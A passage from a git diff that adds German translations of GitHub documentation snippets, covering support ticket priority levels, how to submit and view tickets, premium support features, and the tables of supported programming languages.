+Wenn dein Konto ein kostenpflichtiges {% data variables.product.prodname_dotcom %}-Produkt verwendet oder du Mitglied einer Organisation bist, die ein kostenpflichtiges Produkt verwendet, kannst du dich direkt an {% data variables.contact.github_support %} wenden. Wenn dein Konto {% data variables.product.prodname_free_user %} verwendet, kannst du bei den meisten Issues mit {% data variables.product.prodname_dotcom %}-Benutzern und -Mitarbeitern im {% data variables.contact.community_support_forum %} sprechen, und du kannst dich an {% data variables.contact.github_support %} wenden, um Issues in Bezug auf Konto, Sicherheit und Missbrauch zu melden.
diff --git a/translations/de-DE/data/reusables/support/ghae-priorities.md b/translations/de-DE/data/reusables/support/ghae-priorities.md
new file mode 100644
index 0000000000..6e7bb5d6cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/ghae-priorities.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 7e2e213cb4dfee1e19063a729652ecf8709c72a3
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145134017"
+---
+| Priorität | BESCHREIBUNG | Beispiele |
+| :---: | --- | --- |
+| {% data variables.product.support_ticket_priority_urgent %} – Schweregrad A | Es ist kein Zugriff auf {% data variables.product.product_name %} möglich bzw. die Lösung ist vollständig ausgefallen, und der Ausfall wirkt sich direkt auf deine Geschäftsabläufe aus.<br/><br/>_Wende dich telefonisch an das {% data variables.contact.github_support %}-Team, nachdem du ein Supportticket übermittelt hast._ | <ul><li>Fehler oder Ausfälle, die sich auf die Kernfunktionen von Git- oder Web-Anwendungen aller Benutzer auswirken</li><li>Erhebliche Verschlechterung der Netzwerkleistung für die Mehrheit von Benutzer*innen</li><li>Voller oder sich schnell füllender Speicher</li><li>Bekannte Sicherheitsvorfälle oder Sicherheitsverletzungen beim Zugriff</li></ul> |
+| {% data variables.product.support_ticket_priority_high %} – Schweregrad B | In einer Produktionsumgebung kommt es zu einem Ausfall von {% data variables.product.product_name %}. Dieser Ausfall betrifft lediglich einige Kunden und wirkt sich nur beschränkt auf deine Geschäftsprozesse aus. | <ul><li>Leistungsverschlechterung, die die Produktivität vieler Benutzer reduziert</li><li>Überlegungen zur verminderten Redundanz bei Ausfällen oder Dienstbeeinträchtigungen</li><li>Fehler mit Auswirkungen auf eine Produktionsumgebung</li><li>Sicherheitsbedenken bei der {% data variables.product.product_name %}-Konfiguration</li></ul> |
+| {% data variables.product.support_ticket_priority_normal %} – Schweregrad C | Bei {% data variables.product.product_name %} treten eingeschränkte oder moderate Probleme oder Fehler im Zusammenhang mit {% data variables.product.product_name %} auf, oder du hast allgemeine Bedenken oder Fragen zum Betrieb von {% data variables.product.product_name %}. | <ul><li>Ratschläge zur Verwendung von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-APIs und -Features oder Fragen zur Integration von Geschäftsworkflows</li><li>Probleme mit Benutzertools und Datensammlungsmethoden</li><li>Upgrades</li><li>Fehlerberichte, allgemeine Sicherheitsfragen oder andere Fragen zu Features</li> |
+| {% data variables.product.support_ticket_priority_low %} – Schweregrad D| {% data variables.product.product_name %} funktioniert wie erwartet, du hast jedoch Fragen oder Vorschläge im Zusammenhang mit {% data variables.product.product_name %}, die nicht zeitkritisch sind bzw. die die Produktivität deines Teams nicht beeinträchtigen. | <ul><li>Fragen zu Features und Produktfeedback</li><li>Allgemeine Fragen zur Konfiguration oder Verwendung von {% data variables.product.product_name %}</li><li>Benachrichtigen des {% data variables.contact.github_support %} über geplante Änderungen</li></ul> |
diff --git a/translations/de-DE/data/reusables/support/ghes-priorities.md b/translations/de-DE/data/reusables/support/ghes-priorities.md
new file mode 100644
index 0000000000..73369bac4a
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/ghes-priorities.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 801b42faa6e9a1bff269c1e4fcb0a5a2330717a4
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145068820"
+---
+| Priorität | BESCHREIBUNG | Beispiele |
+| :---: | --- | --- |
+| {% data variables.product.support_ticket_priority_urgent %} | {% data variables.product.prodname_ghe_server %} schlägt in einer Produktionsumgebung fehl, und der Fehler wirkt sich direkt auf den Betrieb deines Unternehmens aus.<br/><br/>_{% data reusables.support.priority-urgent-english-only %}_ | <ul><li>Fehler oder Ausfälle, die sich auf die Kernfunktionen von Git- oder Web-Anwendungen aller Benutzer auswirken</li><li>Erhebliche Leistungsverschlechterung für die Mehrheit der Benutzer</li><li>Voller oder sich schnell füllender Speicher</li><li>Eine erneuerte Lizenzdatei kann nicht installiert werden</li><li>Sicherheitsvorfall</li><li>Verlust des administrativen Zugriffs auf die Instanz ohne bekannte Umgehungslösung</li><li>Fehler beim Wiederherstellen einer Sicherungsdatei in eine Produktionsumgebung</li></ul> |
+| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_ghe_server %} schlägt in einer Produktionsumgebung fehl, aber die Auswirkungen auf den Betrieb Deines Unternehmens sind begrenzt. | <ul><li>Leistungsverschlechterung, die die Produktivität vieler Benutzer reduziert</li><li>Reduzierte Redundanz durch den Ausfall von Hochverfügbarkeits- (HA) oder Cluster-Knoten</li><li>Fehler beim Sichern einer Instanz</li><li>Fehler bei der Wiederherstellung einer Sicherungsdatei in eine Test- oder Staging-Umgebung, was die erfolgreiche Wiederherstellung einer Produktionsumgebung beeinträchtigen könnte</li></ul> |
+| {% data variables.product.support_ticket_priority_normal %} | Du erfährst begrenzte oder moderate Probleme mit {% data variables.product.prodname_ghe_server %}, oder Du hast allgemeine Bedenken oder Fragen zum Betrieb Deiner Instanz. | <ul><li>Probleme in einer Test- oder Staging-Umgebung</li><li>Hinweise zur Verwendung der APIs und Features von {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} oder Fragen zum Konfigurieren von Drittanbieterintegrationen über deine Instanz</li><li>Issues mit Werkzeugen für die Migration von Benutzerdaten, welche von {% data variables.product.company_short %} zur Verfügung gestellt werden</li><li>Upgrades</li><li>Fehlerberichte</li><li>Features arbeiten nicht wie erwartet</li><li>Allgemeine Sicherheitsfragen</li></ul> |
+| {% data variables.product.support_ticket_priority_low %} | Du hast Fragen oder Vorschläge zum {% data variables.product.prodname_ghe_server %}, die weder zeitkritisch sind noch anderweitig die Produktivität Deines Teams blockieren. | <ul><li>Funktionsanfragen</li><li>Produktfeedback</li><li>Anfragen für Systemdiagnosen (momentan nur verfügbar für Kunden mit einem {% data variables.product.premium_support_plan %})</li><li>Benachrichtigen von {% data variables.product.company_short %} über geplante Wartungsarbeiten auf Deiner Instanz</li></ul> |
diff --git a/translations/de-DE/data/reusables/support/github-can-modify-ticket-priority.md b/translations/de-DE/data/reusables/support/github-can-modify-ticket-priority.md
new file mode 100644
index 0000000000..e606b28164
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/github-can-modify-ticket-priority.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 314368e93f019c48b70995f682f638479e95d12b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103123"
+---
+{% data variables.product.company_short %} hat das alleinige Ermessen, die Priorität eines Tickets jederzeit zu ändern, und kann die Priorität eines Tickets nach dem Ermitteln und dem Mindern der Hauptursache eines Problems senken.
diff --git a/translations/de-DE/data/reusables/support/help_resources.md b/translations/de-DE/data/reusables/support/help_resources.md
new file mode 100644
index 0000000000..ec7cfb395d
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/help_resources.md
@@ -0,0 +1,7 @@
+For questions, bug reports, and discussions about {% data variables.product.prodname_github_apps %},  {% data variables.product.prodname_oauth_apps %}, and API development, explore the  {% data reusables.support.prodname_support_forum_with_url %}. The discussions are moderated and maintained by {% data variables.product.company_short %} staff, but questions posted to the forum are not guaranteed to receive a reply from {% data variables.product.company_short %} staff.
+
+Consider reaching out to [GitHub Support](https://support.github.com/) directly using the contact form for:
+  - guaranteed response from {% data variables.product.product_name %} staff
+  - support requests involving sensitive data or private concerns
+  - feature requests
+  - feedback about {% data variables.product.product_name %} products
diff --git a/translations/de-DE/data/reusables/support/navigate-to-my-tickets.md b/translations/de-DE/data/reusables/support/navigate-to-my-tickets.md
new file mode 100644
index 0000000000..c39b57cfcc
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/navigate-to-my-tickets.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: fb2826ec7adf7edcff710866d08654c7f94ab484
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108327"
+---
+1. Navigiere zum [GitHub Support-Portal](https://support.github.com/).
+1. Klicke in der Kopfzeile auf **Meine Tickets**.
+
+   ![Screenshot des Links „Meine Tickets“ in der Kopfzeile des GitHub Support-Portals.](/assets/images/help/support/my-tickets-header.png)
diff --git a/translations/de-DE/data/reusables/support/premium-support-features.md b/translations/de-DE/data/reusables/support/premium-support-features.md
new file mode 100644
index 0000000000..58fc3e3ac7
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/premium-support-features.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: a160325e22bb22f4e80f5597bf3210e99af18515
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146682317"
+---
+Zusätzlich zu allen Vorteilen von {% data variables.contact.enterprise_support %} können {% data variables.product.prodname_enterprise %}-Kunden {% data variables.contact.premium_support %} erwerben und erhalten dadurch Folgendes:
+  - Schriftlicher Support in englischer Sprache rund um die Uhr über unser Supportportal
+  - Telefonsupport per Rückrufanforderung in englischer Sprache über unser Supportportal, 24 Stunden pro Tag, 7 Tage pro Woche
+  - Ein Service Level Agreement (SLA) mit garantierten ersten Reaktionszeiten
+  - Eskalationsverwaltung
+    - Die Möglichkeit, den Ticketverlauf im {% data variables.contact.enterprise_portal %} zu eskalieren
+    - Ein dediziertes Team von Vorfallkoordinatoren, die alle erforderlichen {% data variables.product.company_short %}-Parteien orchestrieren, um dringende Tickets zu bearbeiten
+  - Zugriff auf Premium-Inhalte
+  - Integritätsüberprüfungen
+  - Unterstützung beim Anwendungsupgrade: Bevor du {% data variables.product.prodname_ghe_server %} aktualisierst, überprüfen wir deine Upgradepläne, Playbooks und andere Dokumentationen, und beantworten speziell auf deine Umgebung bezogene Fragen (nur {% data variables.product.premium_plus_support_plan %})
+  - Technische Beratungsstunden (nur {% data variables.product.premium_plus_support_plan %})
diff --git a/translations/de-DE/data/reusables/support/priority-urgent-english-only.md b/translations/de-DE/data/reusables/support/priority-urgent-english-only.md
new file mode 100644
index 0000000000..933266ccd6
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/priority-urgent-english-only.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 622becb64fd3348235fbac285042fa83cfe1d4d2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130573"
+---
+Unterstützung für Tickets mit {% data variables.product.support_ticket_priority_urgent %}-Priorität ist nur in englischer Sprache verfügbar.
diff --git a/translations/de-DE/data/reusables/support/prodname_support_forum_with_url.md b/translations/de-DE/data/reusables/support/prodname_support_forum_with_url.md
new file mode 100644
index 0000000000..bde6e89a62
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/prodname_support_forum_with_url.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f4c5dd46698e409543d91b193833067e4fc71b9d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107053"
+---
+[Diskussionen zu APIs und Integrationen in der GitHub-Community](https://github.com/orgs/community/discussions/categories/apis-and-integrations)
diff --git a/translations/de-DE/data/reusables/support/scope-of-support.md b/translations/de-DE/data/reusables/support/scope-of-support.md
new file mode 100644
index 0000000000..ddbeff7b6c
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/scope-of-support.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 4081194451ae681e3a8208cb0462bd7f7574c3ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134461"
+---
+Wenn deine Supportanfrage außerhalb des Geltungsbereichs liegt, bei dem unser Team dir helfen kann, können wir dir die nächsten Schritte empfehlen, damit du deinen Issue außerhalb von {% data variables.contact.github_support %} beheben kannst. Deine Supportanfrage liegt möglicherweise nicht im Zuständigkeitsbereich von {% data variables.contact.github_support %}, wenn es in erster Linie um die folgenden Themen geht:
+- Integrationen von Drittanbietern, z. B. Jira{% ifversion ghes %}
+- Hardwareeinrichtung{% endif %}
+- CI/CD, z. B. Jenkins
+- Schreiben von Skripts
+- Konfiguration externer Authentifizierungssysteme, z. B. SAML-Identitätsanbieter
+- Open-Source-Projekte{% ifversion ghes %}
+- LGTM-Clusterdesign{% endif %}
+- Neue Abfragen für {% data variables.product.prodname_codeql %} schreiben oder debuggen
+
+Wenn du unsicher bist, ob der Issue außerhalb des Bereiches liegt, öffne ein Ticket, und wir helfen Dir gerne dabei zu bestimmen, wie du am besten fortfährst.
diff --git a/translations/de-DE/data/reusables/support/submit-a-ticket.md b/translations/de-DE/data/reusables/support/submit-a-ticket.md
new file mode 100644
index 0000000000..e9b27b7fc5
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/submit-a-ticket.md
@@ -0,0 +1,45 @@
+1. Select the **Account or organization** dropdown menu and click the name of the account your support ticket is regarding.
+![Screenshot of the "Account or organization" dropdown menu.](/assets/images/help/support/account-field.png)
+1. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact.
+![Screenshot of the "From" dropdown menu.](/assets/images/help/support/from-field.png)
+{%- ifversion ghec or ghes %}
+1. Select the **Product** dropdown menu and click {% ifversion ghes %}**GitHub Enterprise Server (self-hosted)**{% else %}**GitHub Enterprise Cloud**{% endif %}.
+{% ifversion ghec %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field-ghec.png){% else %}![Screenshot of the "Product" dropdown menu.](/assets/images/help/support/product-field.png){% endif %}
+{%- endif %}
+{%- ifversion ghes %}
+1. If prompted, select the **Server installation** dropdown menu and click the installation your support ticket is regarding. If the installation is not listed, click **Other**.
+![Screenshot of the "Server Installation" dropdown menu](/assets/images/help/support/installation-field.png)
+{%- endif %}
+{%- ifversion ghes %}
+1. Select the **Release series** dropdown menu and click the release {% data variables.location.product_location_enterprise %} is running.
+![Screenshot of the "Release series" dropdown menu](/assets/images/help/support/release-field.png)
+{%- endif %}
+{%- ifversion ghes or ghec %}
+1. Select the **Priority** dropdown menu and click the appropriate urgency. For more information, see "[About ticket priority](/support/learning-about-github-support/about-ticket-priority)."
+  ![Screenshot of the "Priority" dropdown menu.](/assets/images/help/support/priority-field.png)
+{%- endif %}
+{%- ifversion ghes %}
+    - Choose **{% data variables.product.support_ticket_priority_urgent %}** to report {% ifversion fpt or ghec %}critical system failure{% else %}fatal system failures, outages impacting critical system operations, security incidents, and expired licenses{% endif %}.
+    - Choose **{% data variables.product.support_ticket_priority_high %}** to report issues impacting business operations, including {% ifversion fpt or ghec %}removing sensitive data (commits, issues, pull requests, uploaded attachments) from your own accounts and organization restorations{% else %}system performance issues{% endif %}, or to report critical bugs.
+    - Choose **{% data variables.product.support_ticket_priority_normal %}** to {% ifversion fpt or ghec %}request account recovery or spam unflagging, report user login issues{% else %}make technical requests like configuration changes and third-party integrations{% endif %}, and to report non-critical bugs.
+    - Choose **{% data variables.product.support_ticket_priority_low %}** to ask general questions and submit requests for new features, purchases, training, or health checks.
+{%- endif %}
+{%- ifversion ghes or ghec %}
+1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback in English. Select **Request a callback from GitHub Support**, select the country code dropdown menu to choose your country, and enter your phone number.
+![Screenshot of the "Request callback" checkbox, "Country code" dropdown menu, and "Phone number" text box.](/assets/images/help/support/request-callback.png)
+{%- endif %}
+1. Under "Subject", type a descriptive title for the issue you're having.
+![Screenshot of the "Subject" text box.](/assets/images/help/support/subject-field.png)
+1. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. You can use markdown to format your message.
+  ![Screenshot of the "How can we help" text area.](/assets/images/help/support/how-can-we-help-field.png)
+   Helpful information may include:
+    - Steps to reproduce the issue
+    - Any special circumstances surrounding the discovery of the issue (for example, the first occurrence or occurrence after a specific event, frequency of occurrence, business impact of the problem, and suggested urgency)
+    - Exact wording of error messages
+{% indented_data_reference reusables.repositories.anyone-can-view-anonymized-url spaces=3 %}
+
+{%- ifversion ghes %}
+1. Optionally, attach diagnostics files and other files by dragging and dropping, uploading, or pasting from the clipboard.
+{%- endif %}
+1. Click **Send request**.
+![Screenshot of the "Send request" button.](/assets/images/help/support/send-request-button.png)
diff --git a/translations/de-DE/data/reusables/support/view-open-tickets.md b/translations/de-DE/data/reusables/support/view-open-tickets.md
new file mode 100644
index 0000000000..dc38a8080f
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/view-open-tickets.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 99112ea1a854a693b779aec53f5d7bfca1ea9ec2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147051956"
+---
+{% data reusables.support.navigate-to-my-tickets %}
+1. Um optional Tickets anzuzeigen, die mit einem Organisations- oder Unternehmenskonto verknüpft sind, wähle das Dropdownmenü **Meine Tickets** aus und klicke auf den Namen des Organisations- oder Unternehmenskontos. 
+
+{% indented_data_reference reusables.support.entitlements-note spaces=3 %}
+
+   ![Screenshot des Dropdownmenüs "Meine Tickets".](/assets/images/help/support/ticket-context.png)
+1. Klicke in der Liste der Tickets auf den Betreff des Tickets, das du anzeigen möchtest.
+![Screenshot einer Liste der Supporttickets mit hervorgehobenem Betreff.](/assets/images/help/support/my-tickets-list.png)
diff --git a/translations/de-DE/data/reusables/support/zendesk-old-tickets.md b/translations/de-DE/data/reusables/support/zendesk-old-tickets.md
new file mode 100644
index 0000000000..ab36f4e5d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/zendesk-old-tickets.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 7eb24cc7dc891adf5a51445356d010ca5a70dd64
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147051964"
+---
+{% ifversion ghes %} {% note %}
+
+Wenn du {% data variables.contact.enterprise_support %} zuvor über das nun veraltete GitHub Enterprise-Supportportal kontaktiert hast, solltest du das {% data variables.contact.contact_support_portal %} zum Öffnen neuer Tickets verwenden. Du kannst deine letzten Tickets jedoch weiterhin unter [https://enterprise.githubsupport.com](https://enterprise.githubsupport.com) anzeigen.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/C.md b/translations/de-DE/data/reusables/supported-languages/C.md
new file mode 100644
index 0000000000..4312dd0fd5
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/C.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1171bfde25f2b42d8f1f63cc94c806ccbf1d4ef7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109305"
+---
+| C {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/Cpp.md b/translations/de-DE/data/reusables/supported-languages/Cpp.md
new file mode 100644
index 0000000000..e9b93999cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/Cpp.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a383e56989c251195e9b1447d782e19cb550f27f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109382"
+---
+| C++ {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/Cs.md b/translations/de-DE/data/reusables/supported-languages/Cs.md
new file mode 100644
index 0000000000..65291c66ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/Cs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 933501e0e0d574d9ec7008aaa9ca7c45556cc1c2
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109302"
+---
+| C# {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI  | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>`dotnet` CLI |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/go.md b/translations/de-DE/data/reusables/supported-languages/go.md
new file mode 100644
index 0000000000..5f198b2d52
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/go.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d92b569c5db20c0586ad41cd618c957c9695b19e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108326"
+---
+| Go {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Go-Module | {% octicon "check" aria-label="The check icon" %}<br> Go-Module | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Go-Module | {% octicon "check" aria-label="The check icon" %}<br>Go-Module | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/java.md b/translations/de-DE/data/reusables/supported-languages/java.md
new file mode 100644
index 0000000000..6bcecde47f
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/java.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2e8ea634a95d2bca03b70aef430be7e638272605
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109454"
+---
+| Java {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Maven | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Maven | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/javascript.md b/translations/de-DE/data/reusables/supported-languages/javascript.md
new file mode 100644
index 0000000000..6ff6e806cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/javascript.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9d072e402eca457ea6ebc803c1c56461d909e11a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108331"
+---
+| JavaScript {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm, Yarn | {% octicon "check" aria-label="The check icon" %}<br>npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm, Yarn | {% octicon "check" aria-label="The check icon" %}<br>npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/php.md b/translations/de-DE/data/reusables/supported-languages/php.md
new file mode 100644
index 0000000000..f7b89dce34
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/php.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8284af3a957695154a2d311a26eb37c1ba08e6d8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109377"
+---
+| PHP {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %}<br>Composer | {% octicon "check" aria-label="The check icon" %}<br>Composer | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %}<br>Composer | {% octicon "check" aria-label="The check icon" %}<br>Composer | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/products-table-header.md b/translations/de-DE/data/reusables/supported-languages/products-table-header.md
new file mode 100644
index 0000000000..b9420efbde
--- /dev/null
